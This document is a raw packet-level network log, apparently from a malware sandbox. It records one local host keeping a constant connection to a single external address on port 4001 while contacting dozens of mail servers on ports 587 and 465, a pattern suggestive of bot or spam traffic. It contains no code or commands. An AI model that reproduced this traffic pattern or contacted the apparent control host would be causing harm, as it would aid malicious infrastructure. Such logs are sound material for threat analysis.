May 19, 2024 17:27:59.412916899 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:59.412972927 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:59.413139105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.413139105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.413139105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.413722038 CEST	50134	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:59.413784981 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.414007902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.414007902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.417813063 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.418420076 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.418452024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.418452024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.421578884 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.421627998 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.421663046 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.421681881 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.421726942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.421823025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.421823025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.427411079 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:27:59.427418947 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:59.427530050 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:59.429269075 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.429287910 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.429297924 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:59.429307938 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:59.429316044 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.429327011 CEST	587	50134	84.116.6.22	192.168.2.4
May 19, 2024 17:27:59.429339886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.429347992 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.429389000 CEST	50134	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:59.429491043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.429491043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.438940048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.438962936 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.438971996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.458755016 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:59.458933115 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:59.458935022 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:59.458933115 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:59.461422920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.461441040 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:59.461452007 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:59.461456060 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:59.461572886 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:59.461606026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.461653948 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:59.461692095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.461693048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.463943005 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:59.463954926 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:59.464013100 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:59.464052916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.468549013 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:59.468771935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.468771935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.473443031 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:59.473458052 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:59.473501921 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:59.473575115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.473575115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.478230953 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:59.478240967 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.478247881 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.483187914 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.505610943 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:59.510916948 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.521290064 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:59.526458979 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.526478052 CEST	587	49992	91.235.53.41	192.168.2.4
May 19, 2024 17:27:59.526537895 CEST	49992	587	192.168.2.4	91.235.53.41
May 19, 2024 17:27:59.526571989 CEST	49992	587	192.168.2.4	91.235.53.41
May 19, 2024 17:27:59.526663065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.526993990 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:59.527034998 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:59.527057886 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:59.527218103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.527218103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.531797886 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:59.531826973 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:59.532054901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.532056093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.536695957 CEST	587	50029	211.29.132.105	192.168.2.4
May 19, 2024 17:27:59.537384033 CEST	50029	587	192.168.2.4	211.29.132.105
May 19, 2024 17:27:59.537431955 CEST	50029	587	192.168.2.4	211.29.132.105
May 19, 2024 17:27:59.537477016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.540191889 CEST	587	49992	91.235.53.41	192.168.2.4
May 19, 2024 17:27:59.540203094 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:59.540211916 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:59.540220976 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:59.540229082 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.542543888 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.542571068 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.542618036 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.542707920 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.547271967 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.552258015 CEST	587	50029	211.29.132.105	192.168.2.4
May 19, 2024 17:27:59.552274942 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.583623886 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:59.583710909 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:59.588700056 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:59.590420961 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:59.590467930 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:59.590527058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.593462944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.593475103 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.593540907 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.593596935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.593781948 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:59.593893051 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:59.594048977 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.594860077 CEST	50135	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:59.603080034 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:59.646436930 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.649456024 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:59.649468899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.649473906 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:27:59.649477959 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.649487019 CEST	587	50135	194.181.93.175	192.168.2.4
May 19, 2024 17:27:59.649494886 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:59.649965048 CEST	50135	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:59.649983883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.649983883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.649983883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.650053024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.670784950 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:59.671073914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.671075106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.672070026 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:59.672210932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.672210932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.672267914 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:59.675750971 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:59.675955057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.680485964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.680495977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.685220957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.685233116 CEST	587	50124	103.226.222.162	192.168.2.4
May 19, 2024 17:27:59.685240984 CEST	587	50128	81.7.169.213	192.168.2.4
May 19, 2024 17:27:59.685317993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.685354948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.690943956 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.693012953 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:59.695817947 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.696337938 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:59.696644068 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:59.697047949 CEST	50136	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:59.716223955 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:59.716327906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.717978001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.717978001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.719165087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.719165087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.721781969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.724421024 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:59.724647045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.724647045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.726843119 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:59.726851940 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:59.726862907 CEST	587	50136	104.22.65.144	192.168.2.4
May 19, 2024 17:27:59.726946115 CEST	50136	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:59.726974964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.727013111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.731678009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.731688023 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.731708050 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:59.731717110 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.731815100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.731928110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.731945992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.737046957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.737060070 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:59.737152100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.739886045 CEST	50124	587	192.168.2.4	103.226.222.162
May 19, 2024 17:27:59.741825104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.741863966 CEST	50128	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:59.746573925 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.755661964 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:59.758924007 CEST	587	50127	74.125.133.16	192.168.2.4
May 19, 2024 17:27:59.759017944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.783719063 CEST	50137	465	192.168.2.4	94.23.73.225
May 19, 2024 17:27:59.786744118 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:59.786762953 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:59.788115025 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.793051958 CEST	465	50137	94.23.73.225	192.168.2.4
May 19, 2024 17:27:59.793140888 CEST	50137	465	192.168.2.4	94.23.73.225
May 19, 2024 17:27:59.793165922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.802382946 CEST	50127	587	192.168.2.4	74.125.133.16
May 19, 2024 17:27:59.813877106 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:27:59.814232111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.822149038 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.822217941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.824505091 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:59.826193094 CEST	587	50133	62.149.128.200	192.168.2.4
May 19, 2024 17:27:59.826204062 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.826205969 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:59.826390982 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:59.826561928 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:59.826714993 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:59.827047110 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:59.827061892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.827239990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.827239990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.827277899 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.827318907 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.827359915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.827359915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.829483032 CEST	50138	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.829493046 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.829582930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.829582930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.829821110 CEST	50139	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.830557108 CEST	50140	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.831650019 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.831665039 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.831672907 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.831687927 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.831710100 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.831720114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.831768036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.836411953 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:59.836421967 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:27:59.836430073 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:27:59.836438894 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:59.836447954 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:27:59.836457014 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:59.836464882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.836473942 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.836483002 CEST	587	50138	194.153.145.104	192.168.2.4
May 19, 2024 17:27:59.836492062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.836575985 CEST	50138	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.836607933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.841149092 CEST	587	50139	194.153.145.104	192.168.2.4
May 19, 2024 17:27:59.841157913 CEST	587	50140	194.153.145.104	192.168.2.4
May 19, 2024 17:27:59.841202974 CEST	50140	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.841202974 CEST	50139	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:59.841348886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.841401100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.845956087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.851965904 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.864864111 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:59.880595922 CEST	50133	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:59.885674000 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:59.892818928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.892818928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.892903090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.907629013 CEST	587	50034	117.50.20.113	192.168.2.4
May 19, 2024 17:27:59.907684088 CEST	50034	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:59.912807941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.914277077 CEST	50034	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:59.914454937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.923460007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.927508116 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:59.928354979 CEST	587	50034	117.50.20.113	192.168.2.4
May 19, 2024 17:27:59.931334019 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:59.935982943 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:59.936069012 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:59.954504967 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.959490061 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:59.959542036 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:59.960273981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.964370966 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:27:59.964402914 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:27:59.964454889 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:59.969171047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:59.972696066 CEST	50141	465	192.168.2.4	35.182.240.32
May 19, 2024 17:27:59.977585077 CEST	465	50141	35.182.240.32	192.168.2.4
May 19, 2024 17:27:59.977643967 CEST	50141	465	192.168.2.4	35.182.240.32
May 19, 2024 17:27:59.982194901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.994527102 CEST	587	50131	195.32.69.33	192.168.2.4
May 19, 2024 17:27:59.994606018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:59.999298096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.015633106 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:00.015856028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.022891998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.022929907 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.027964115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.028038025 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.028443098 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:00.028611898 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.028805017 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.028856039 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.028868914 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:28:00.028928041 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:00.029576063 CEST	50142	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:00.032684088 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:28:00.032715082 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:28:00.032938004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.032974958 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.036246061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.036279917 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.036360025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.036360025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.036739111 CEST	50131	587	192.168.2.4	195.32.69.33
May 19, 2024 17:28:00.037245035 CEST	50058	587	192.168.2.4	92.205.48.138
May 19, 2024 17:28:00.037275076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.038661957 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.038769960 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:00.038795948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.043415070 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.043447018 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.043591976 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:00.043670893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.048342943 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:28:00.048373938 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.048404932 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.048434019 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.048464060 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:28:00.048491955 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:28:00.048522949 CEST	587	50142	194.153.145.104	192.168.2.4
May 19, 2024 17:28:00.048551083 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:28:00.048578024 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.048590899 CEST	50142	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:00.048690081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.048722029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.053119898 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.053193092 CEST	587	50058	92.205.48.138	192.168.2.4
May 19, 2024 17:28:00.053220034 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.053247929 CEST	50058	587	192.168.2.4	92.205.48.138
May 19, 2024 17:28:00.058140993 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.067737103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.067769051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.068003893 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:00.083728075 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:28:00.084702969 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:00.099381924 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:28:00.114289045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.133655071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.133687019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.139002085 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.139036894 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:28:00.139065981 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:28:00.139131069 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:28:00.145782948 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:28:00.147690058 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:28:00.147871971 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:28:00.152586937 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:28:00.152626038 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:28:00.152698040 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:28:00.155028105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.155481100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.155495882 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:28:00.155530930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.155953884 CEST	49734	4001	192.168.2.4	212.162.153.199
